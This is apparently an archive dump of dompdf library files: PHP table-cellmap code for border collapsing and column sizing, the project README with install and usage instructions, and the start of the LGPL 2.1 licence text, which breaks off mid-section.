    protected function resolve_border(int $i, int $j, string $h_v, array $border_spec): void
    {
        if (!isset($this->_borders[$i][$j][$h_v])) {
            $this->_borders[$i][$j][$h_v] = $border_spec;
            return;
        }

        $border = $this->_borders[$i][$j][$h_v];

        $n_width = $border_spec["width"];
        $n_style = $border_spec["style"];
        $o_width = $border["width"];
        $o_style = $border["style"];

        if ($o_style === "hidden") {
            return;
        }

        // A style of `none` has lowest priority independent of its specified
        // width here, as its resolved width is always 0
        if ($n_style === "hidden" || $n_width > $o_width
            || ($o_width == $n_width
                && isset(self::BORDER_STYLE_SCORE[$n_style])
                && isset(self::BORDER_STYLE_SCORE[$o_style])
                && self::BORDER_STYLE_SCORE[$n_style] > self::BORDER_STYLE_SCORE[$o_style])
        ) {
            $this->_borders[$i][$j][$h_v] = $border_spec;
        }
    }

    /**
     * Get the resolved border properties for the given frame.
     *
     * @param AbstractFrameDecorator $frame
     *
     * @return array[]
     */
    protected function get_resolved_border(AbstractFrameDecorator $frame): array
    {
        $key = $frame->get_id();
        $columns = $this->_frames[$key]["columns"];
        $rows = $this->_frames[$key]["rows"];

        $first_col = $columns[0];
        $last_col = $columns[count($columns) - 1];
        $first_row = $rows[0];
        $last_row = $rows[count($rows) - 1];

        $max_top = null;
        $max_bottom = null;
        $max_left = null;
        $max_right = null;

        foreach ($columns as $col) {
            $top = $this->_borders[$first_row][$col]["horizontal"];
            $bottom = $this->_borders[$last_row + 1][$col]["horizontal"];

            if ($max_top === null || $top["width"] > $max_top["width"]) {
                $max_top = $top;
            }
            if ($max_bottom === null || $bottom["width"] > $max_bottom["width"]) {
                $max_bottom = $bottom;
            }
        }

        foreach ($rows as $row) {
            $left = $this->_borders[$row][$first_col]["vertical"];
            $right = $this->_borders[$row][$last_col + 1]["vertical"];

            if ($max_left === null || $left["width"] > $max_left["width"]) {
                $max_left = $left;
            }
            if ($max_right === null || $right["width"] > $max_right["width"]) {
                $max_right = $right;
            }
        }

        return [$max_top, $max_right, $max_bottom, $max_left];
    }

    /**
     * @param AbstractFrameDecorator $frame
     */
    public function add_frame(Frame $frame): void
    {
        $style = $frame->get_style();
        $display = $style->display;

        $collapse = $this->_table->get_style()->border_collapse === "collapse";

        // Recursively add the frames within the table, its row groups and rows
        if ($frame === $this->_table
            || $display === "table-row"
            || in_array($display, TableFrameDecorator::ROW_GROUPS, true)
        ) {
            $start_row = $this->__row;

            foreach ($frame->get_children() as $child) {
                $this->add_frame($child);
            }

            if ($display === "table-row") {
                $this->add_row();
            }

            $num_rows = $this->__row - $start_row - 1;
            $key = $frame->get_id();

            // Row groups always span across the entire table
            $this->_frames[$key]["columns"] = range(0, max(0, $this->_num_cols - 1));
            $this->_frames[$key]["rows"] = range($start_row, max(0, $this->__row - 1));
            $this->_frames[$key]["frame"] = $frame;

            if ($collapse) {
                $bp = $style->get_border_properties();

                // Resolve vertical borders
                for ($i = 0; $i < $num_rows + 1; $i++) {
                    $this->resolve_border($start_row + $i, 0, "vertical", $bp["left"]);
                    $this->resolve_border($start_row + $i, $this->_num_cols, "vertical", $bp["right"]);
                }

                // Resolve horizontal borders
                for ($j = 0; $j < $this->_num_cols; $j++) {
                    $this->resolve_border($start_row, $j, "horizontal", $bp["top"]);
                    $this->resolve_border($this->__row, $j, "horizontal", $bp["bottom"]);
                }

                if ($frame === $this->_table) {
                    // Clear borders because the cells are now using them. The
                    // border width still needs to be set to half the resolved
                    // width so that the table is positioned properly
                    [$top, $right, $bottom, $left] = $this->get_resolved_border($frame);

                    $style->set_used("border_top_width", $top["width"] / 2);
                    $style->set_used("border_right_width", $right["width"] / 2);
                    $style->set_used("border_bottom_width", $bottom["width"] / 2);
                    $style->set_used("border_left_width", $left["width"] / 2);
                    $style->set_used("border_style", "none");
                }
            }

            if ($frame !== $this->_table) {
                // Clear borders for rows and row groups. For the collapsed
                // model, they have been resolved and are used by the cells now.
                // For the separated model, they are ignored per spec
                $style->set_used("border_width", 0);
                $style->set_used("border_style", "none");
            }

            if ($frame === $this->_table) {
                // Apply resolved borders to table cells and calculate column
                // widths after all frames have been added
                $this->calculate_column_widths();
            }
            return;
        }

        // Add the frame to the cellmap
        $key = $frame->get_id();
        $node = $frame->get_node();
        $bp = $style->get_border_properties();

        // Determine where this cell is going
        $colspan = max((int) $node->getAttribute("colspan"), 1);
        $rowspan = max((int) $node->getAttribute("rowspan"), 1);

        // Find the next available column (fix by Ciro Mondueri)
        $ac = $this->__col;
        while (isset($this->_cells[$this->__row][$ac])) {
            $ac++;
        }

        $this->__col = $ac;

        // Rows:
        for ($i = 0; $i < $rowspan; $i++) {
            $row = $this->__row + $i;

            $this->_frames[$key]["rows"][] = $row;

            for ($j = 0; $j < $colspan; $j++) {
                $this->_cells[$row][$this->__col + $j] = $frame;
            }

            if ($collapse) {
                // Resolve vertical borders
                $this->resolve_border($row, $this->__col, "vertical", $bp["left"]);
                $this->resolve_border($row, $this->__col + $colspan, "vertical", $bp["right"]);
            }
        }

        // Columns:
        for ($j = 0; $j < $colspan; $j++) {
            $col = $this->__col + $j;
            $this->_frames[$key]["columns"][] = $col;

            if ($collapse) {
                // Resolve horizontal borders
                $this->resolve_border($this->__row, $col, "horizontal", $bp["top"]);
                $this->resolve_border($this->__row + $rowspan, $col, "horizontal", $bp["bottom"]);
            }
        }

        $this->_frames[$key]["frame"] = $frame;

        $this->__col += $colspan;
        if ($this->__col > $this->_num_cols) {
            $this->_num_cols = $this->__col;
        }
    }

    /**
     * Apply resolved borders to table cells and calculate column widths.
     */
    protected function calculate_column_widths(): void
    {
        $table = $this->_table;
        $table_style = $table->get_style();
        $collapse = $table_style->border_collapse === "collapse";

        if ($collapse) {
            $v_spacing = 0;
            $h_spacing = 0;
        } else {
            // The additional 1/2 width gets added to the table proper
            [$h, $v] = $table_style->border_spacing;
            $v_spacing = $v / 2;
            $h_spacing = $h / 2;
        }

        foreach ($this->_frames as $frame_info) {
            /** @var TableCellFrameDecorator */
            $frame = $frame_info["frame"];
            $style = $frame->get_style();
            $display = $style->display;

            if ($display !== "table-cell") {
                continue;
            }

            if ($collapse) {
                // Set the resolved border at half width
                [$top, $right, $bottom, $left] = $this->get_resolved_border($frame);

                $style->set_used("border_top_width", $top["width"] / 2);
                $style->set_used("border_top_style", $top["style"]);
                $style->set_used("border_top_color", $top["color"]);
                $style->set_used("border_right_width", $right["width"] / 2);
                $style->set_used("border_right_style", $right["style"]);
                $style->set_used("border_right_color", $right["color"]);
                $style->set_used("border_bottom_width", $bottom["width"] / 2);
                $style->set_used("border_bottom_style", $bottom["style"]);
                $style->set_used("border_bottom_color", $bottom["color"]);
                $style->set_used("border_left_width", $left["width"] / 2);
                $style->set_used("border_left_style", $left["style"]);
                $style->set_used("border_left_color", $left["color"]);
                $style->set_used("margin", 0);
            } else {
                // Border spacing is effectively a margin between cells
                $style->set_used("margin_top", $v_spacing);
                $style->set_used("margin_bottom", $v_spacing);
                $style->set_used("margin_left", $h_spacing);
                $style->set_used("margin_right", $h_spacing);
            }

            if ($this->_columns_locked) {
                continue;
            }

            $node = $frame->get_node();
            $colspan = max((int) $node->getAttribute("colspan"), 1);
            $first_col = $frame_info["columns"][0];

            // Resolve the frame's width
            if ($this->_fixed_layout) {
                list($frame_min, $frame_max) = [0, 10e-10];
            } else {
                list($frame_min, $frame_max) = $frame->get_min_max_width();
            }

            $width = $style->width;

            $val = null;
            if (Helpers::is_percent($width) && $colspan === 1) {
                $var = "percent";
                $val = (float)rtrim($width, "% ");
            } elseif ($width !== "auto" && $colspan === 1) {
                $var = "absolute";
                $val = $frame_min;
            }

            $min = 0;
            $max = 0;
            for ($cs = 0; $cs < $colspan; $cs++) {

                // Resolve the frame's width(s) with other cells
                $col =& $this->get_column($first_col + $cs);

                // Note: $var is either 'percent' or 'absolute'.  We compare the
                // requested percentage or absolute values with the existing widths
                // and adjust accordingly.
                if (isset($var) && $val > $col[$var]) {
                    $col[$var] = $val;
                    $col["auto"] = false;
                }

                $min += $col["min-width"];
                $max += $col["max-width"];
            }

            if ($frame_min > $min && $colspan === 1) {
                // The frame needs more space.  Expand each sub-column
                // FIXME try to avoid putting this dummy value when table-layout:fixed
                $inc = ($this->is_layout_fixed() ? 10e-10 : ($frame_min - $min));
                for ($c = 0; $c < $colspan; $c++) {
                    $col =& $this->get_column($first_col + $c);
                    $col["min-width"] += $inc;
                }
            }

            if ($frame_max > $max) {
                // FIXME try to avoid putting this dummy value when table-layout:fixed
                $inc = ($this->is_layout_fixed() ? 10e-10 : ($frame_max - $max) / $colspan);
                for ($c = 0; $c < $colspan; $c++) {
                    $col =& $this->get_column($first_col + $c);
                    $col["max-width"] += $inc;
                }
            }
        }

        // Adjust absolute columns so that the absolute (and max) width is the
        // largest minimum width of all cells. This accounts for cells without
        // absolute width within an absolute column
        foreach ($this->_columns as &$col) {
            if ($col["absolute"] > 0) {
                $col["absolute"] = $col["min-width"];
                $col["max-width"] = $col["min-width"];
            }
        }
    }

    protected function add_row(): void
    {
        $this->__row++;
        $this->_num_rows++;

        // Find the next available column
        $i = 0;
        while (isset($this->_cells[$this->__row][$i])) {
            $i++;
        }

        $this->__col = $i;
    }

    /**
     * Remove a row from the cellmap.
     *
     * @param Frame
     */
    public function remove_row(Frame $row)
    {
        $key = $row->get_id();
        if (!isset($this->_frames[$key])) {
            return; // Presumably this row has already been removed
        }

        $this->__row = $this->_num_rows--;

        $rows = $this->_frames[$key]["rows"];
        $columns = $this->_frames[$key]["columns"];

        // Remove all frames from this row
        foreach ($rows as $r) {
            foreach ($columns as $c) {
                if (isset($this->_cells[$r][$c])) {
                    $id = $this->_cells[$r][$c]->get_id();

                    $this->_cells[$r][$c] = null;
                    unset($this->_cells[$r][$c]);

                    // has multiple rows?
                    if (isset($this->_frames[$id]) && count($this->_frames[$id]["rows"]) > 1) {
                        // remove just the desired row, but leave the frame
                        if (($row_key = array_search($r, $this->_frames[$id]["rows"])) !== false) {
                            unset($this->_frames[$id]["rows"][$row_key]);
                        }
                        continue;
                    }

                    $this->_frames[$id] = null;
                    unset($this->_frames[$id]);
                }
            }

            $this->_rows[$r] = null;
            unset($this->_rows[$r]);
        }

        $this->_frames[$key] = null;
        unset($this->_frames[$key]);
    }

    /**
     * Remove a row group from the cellmap.
     *
     * @param Frame $group The group to remove
     */
    public function remove_row_group(Frame $group)
    {
        $key = $group->get_id();
        if (!isset($this->_frames[$key])) {
            return; // Presumably this row has already been removed
        }

        $iter = $group->get_first_child();
        while ($iter) {
            $this->remove_row($iter);
            $iter = $iter->get_next_sibling();
        }

        $this->_frames[$key] = null;
        unset($this->_frames[$key]);
    }

    /**
     * Update a row group after rows have been removed
     *
     * @param Frame $group    The group to update
     * @param Frame $last_row The last row in the row group
     */
    public function update_row_group(Frame $group, Frame $last_row)
    {
        $g_key = $group->get_id();

        $first_index = $this->_frames[$g_key]["rows"][0];
        $last_index = $first_index;
        $row = $last_row;
        while ($row = $row->get_prev_sibling()) {
            $last_index++;
        }

        $this->_frames[$g_key]["rows"] = range($first_index, $last_index);
    }

    public function assign_x_positions(): void
    {
        // Pre-condition: widths must be resolved and assigned to columns and
        // column[0]["x"] must be set.

        if ($this->_columns_locked) {
            return;
        }

        $x = $this->_columns[0]["x"];
        foreach (array_keys($this->_columns) as $j) {
            $this->_columns[$j]["x"] = $x;
            $x += $this->_columns[$j]["used-width"];
        }
    }

    public function assign_frame_heights(): void
    {
        // Pre-condition: widths and heights of each column & row must be
        // calcluated
        foreach ($this->_frames as $arr) {
            $frame = $arr["frame"];

            $h = 0.0;
            foreach ($arr["rows"] as $row) {
                if (!isset($this->_rows[$row])) {
                    // The row has been removed because of a page split, so skip it.
                    continue;
                }

                $h += $this->_rows[$row]["height"];
            }

            if ($frame instanceof TableCellFrameDecorator) {
                $frame->set_cell_height($h);
            } else {
                $frame->get_style()->set_used("height", $h);
            }
        }
    }

    /**
     * Re-adjust frame height if the table height is larger than its content
     */
    public function set_frame_heights(float $table_height, float $content_height): void
    {
        // Distribute the increased height proportionally amongst each row
        foreach ($this->_frames as $arr) {
            $frame = $arr["frame"];

            $h = 0.0;
            foreach ($arr["rows"] as $row) {
                if (!isset($this->_rows[$row])) {
                    continue;
                }

                $h += $this->_rows[$row]["height"];
            }

            if ($content_height > 0) {
                $new_height = ($h / $content_height) * $table_height;
            } else {
                $new_height = 0.0;
            }

            if ($frame instanceof TableCellFrameDecorator) {
                $frame->set_cell_height($new_height);
            } else {
                $frame->get_style()->set_used("height", $new_height);
            }
        }
    }

    /**
     * Used for debugging:
     *
     * @return string
     */
    public function __toString(): string
    {
        $str = "";
        $str .= "Columns:<br/>";
        $str .= Helpers::pre_r($this->_columns, true);
        $str .= "Rows:<br/>";
        $str .= Helpers::pre_r($this->_rows, true);

        $str .= "Frames:<br/>";
        $arr = [];
        foreach ($this->_frames as $key => $val) {
            $arr[$key] = ["columns" => $val["columns"], "rows" => $val["rows"]];
        }

        $str .= Helpers::pre_r($arr, true);

        if (php_sapi_name() == "cli") {
            $str = strip_tags(str_replace(["<br/>", "<b>", "</b>"],
                ["\n", chr(27) . "[01;33m", chr(27) . "[0m"],
                $str));
        }

        return $str;
    }
}
vendor/dompdf/dompdf/README.md000066600000017264151150443010012052 0ustar00Dompdf
======

[![Build Status](https://github.com/dompdf/dompdf/actions/workflows/test.yml/badge.svg)](https://github.com/dompdf/dompdf/actions/workflows/test.yml)
[![Latest Release](https://poser.pugx.org/dompdf/dompdf/v/stable.png)](https://packagist.org/packages/dompdf/dompdf)
[![Total Downloads](https://poser.pugx.org/dompdf/dompdf/downloads.png)](https://packagist.org/packages/dompdf/dompdf)
[![License](https://poser.pugx.org/dompdf/dompdf/license.png)](https://packagist.org/packages/dompdf/dompdf)
 
**Dompdf is an HTML to PDF converter**

At its heart, dompdf is (mostly) a [CSS 2.1](http://www.w3.org/TR/CSS2/) compliant
HTML layout and rendering engine written in PHP. It is a style-driven renderer:
it will download and read external stylesheets, inline style tags, and the style
attributes of individual HTML elements. It also supports most presentational
HTML attributes.

*This document applies to the latest stable code which may not reflect the current 
release. For released code please
[navigate to the appropriate tag](https://github.com/dompdf/dompdf/tags).*

----

**Check out the [demo](http://eclecticgeek.com/dompdf/debug.php) and ask any
question on [StackOverflow](https://stackoverflow.com/questions/tagged/dompdf) or
in [Discussions](https://github.com/dompdf/dompdf/discussions).**

Follow us on [![Twitter](http://twitter-badges.s3.amazonaws.com/twitter-a.png)](http://www.twitter.com/dompdf).

---



## Features

 * Handles most CSS 2.1 and a few CSS3 properties, including @import, @media &
   @page rules
 * Supports most presentational HTML 4.0 attributes
 * Supports external stylesheets, either local or through http/ftp (via
   fopen-wrappers)
 * Supports complex tables, including row & column spans, separate & collapsed
   border models, individual cell styling
 * Image support (gif, png (8, 24 and 32 bit with alpha channel), bmp & jpeg)
 * No dependencies on external PDF libraries, thanks to the R&OS PDF class
 * Inline PHP support
 * Basic SVG support (see "Limitations" below)
 
## Requirements

 * PHP version 7.1 or higher
 * DOM extension
 * MBString extension
 * php-font-lib
 * php-svg-lib
 
Note that some required dependencies may have further dependencies 
(notably php-svg-lib requires sabberworm/php-css-parser).

### Recommendations

 * GD (for image processing)
   * Additionally, the IMagick or GMagick extension improves image processing performance for certain image types
 * OPcache (OPcache, XCache, APC, etc.): improves performance

Visit the wiki for more information:
https://github.com/dompdf/dompdf/wiki/Requirements

## About Fonts & Character Encoding

PDF documents internally support the following fonts: Helvetica, Times-Roman,
Courier, Zapf-Dingbats, & Symbol. These fonts only support Windows ANSI
encoding. In order for a PDF to display characters that are not available in
Windows ANSI, you must supply an external font. Dompdf will embed any referenced
font in the PDF so long as it has been pre-loaded or is accessible to dompdf and
reference in CSS @font-face rules. See the
[font overview](https://github.com/dompdf/dompdf/wiki/About-Fonts-and-Character-Encoding)
for more information on how to use fonts.

The [DejaVu TrueType fonts](https://dejavu-fonts.github.io/) have been pre-installed
to give dompdf decent Unicode character coverage by default. To use the DejaVu
fonts reference the font in your stylesheet, e.g. `body { font-family: DejaVu
Sans; }` (for DejaVu Sans). The following DejaVu 2.34 fonts are available:
DejaVu Sans, DejaVu Serif, and DejaVu Sans Mono.

## Easy Installation

### Install with composer

To install with [Composer](https://getcomposer.org/), simply require the
latest version of this package.

```bash
composer require dompdf/dompdf
```

Make sure that the autoload file from Composer is loaded.

```php
// somewhere early in your project's loading, require the Composer autoloader
// see: http://getcomposer.org/doc/00-intro.md
require 'vendor/autoload.php';

```

### Download and install

Download a packaged archive of dompdf and extract it into the 
directory where dompdf will reside

 * You can download stable copies of dompdf from
   https://github.com/dompdf/dompdf/releases
 * Or download a nightly (the latest, unreleased code) from
   http://eclecticgeek.com/dompdf

Use the packaged release autoloader to load dompdf, libraries,
and helper functions in your PHP:

```php
// include autoloader
require_once 'dompdf/autoload.inc.php';
```

Note: packaged releases are named according using semantic
versioning (_dompdf_MAJOR-MINOR-PATCH.zip_). So the 1.0.0 
release would be dompdf_1-0-0.zip. This is the only download
that includes the autoloader for Dompdf and all its dependencies.

### Install with git

From the command line, switch to the directory where dompdf will
reside and run the following commands:

```sh
git clone https://github.com/dompdf/dompdf.git
cd dompdf/lib

git clone https://github.com/PhenX/php-font-lib.git php-font-lib
cd php-font-lib
git checkout 0.5.1
cd ..

git clone https://github.com/PhenX/php-svg-lib.git php-svg-lib
cd php-svg-lib
git checkout v0.3.2
cd ..

git clone https://github.com/sabberworm/PHP-CSS-Parser.git php-css-parser
cd php-css-parser
git checkout 8.1.0
```

Require dompdf and it's dependencies in your PHP.
For details see the [autoloader in the utils project](https://github.com/dompdf/utils/blob/master/autoload.inc.php).

## Quick Start

Just pass your HTML in to dompdf and stream the output:

```php
// reference the Dompdf namespace
use Dompdf\Dompdf;

// instantiate and use the dompdf class
$dompdf = new Dompdf();
$dompdf->loadHtml('hello world');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF
$dompdf->render();

// Output the generated PDF to Browser
$dompdf->stream();
```

### Setting Options

Set options during dompdf instantiation:

```php
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('defaultFont', 'Courier');
$dompdf = new Dompdf($options);
```

or at run time

```php
use Dompdf\Dompdf;

$dompdf = new Dompdf();
$options = $dompdf->getOptions();
$options->setDefaultFont('Courier');
$dompdf->setOptions($options);
```

See [Dompdf\Options](src/Options.php) for a list of available options.

### Resource Reference Requirements

In order to protect potentially sensitive information Dompdf imposes 
restrictions on files referenced from the local file system or the web. 

Files accessed through web-based protocols have the following requirements:
 * The Dompdf option "isRemoteEnabled" must be set to "true"
 * PHP must either have the curl extension enabled or the 
   allow_url_fopen setting set to true
   
Files accessed through the local file system have the following requirement:
 * The file must fall within the path(s) specified for the Dompdf "chroot" option

## Limitations (Known Issues)

 * Table cells are not pageable, meaning a table row must fit on a single page.
 * Elements are rendered on the active page when they are parsed.
 * Embedding "raw" SVG's (`<svg><path...></svg>`) isn't working yet, you need to
   either link to an external SVG file, or use a DataURI like this:
     ```php
     $html = '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '" ...>';
     ```
     Watch https://github.com/dompdf/dompdf/issues/320 for progress
 * Does not support CSS flexbox.
 * Does not support CSS Grid.
 * A single Dompdf instance should not be used to render more than one HTML document
   because persisted parsing and rendering artifacts can impact future renders.
---

[![Donate button](https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif)](http://goo.gl/DSvWf)

*If you find this project useful, please consider making a donation.
Any funds donated will be used to help further development on this project.)*
vendor/dompdf/dompdf/LICENSE.LGPL000066600000057440151150443010012335 0ustar00		  GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
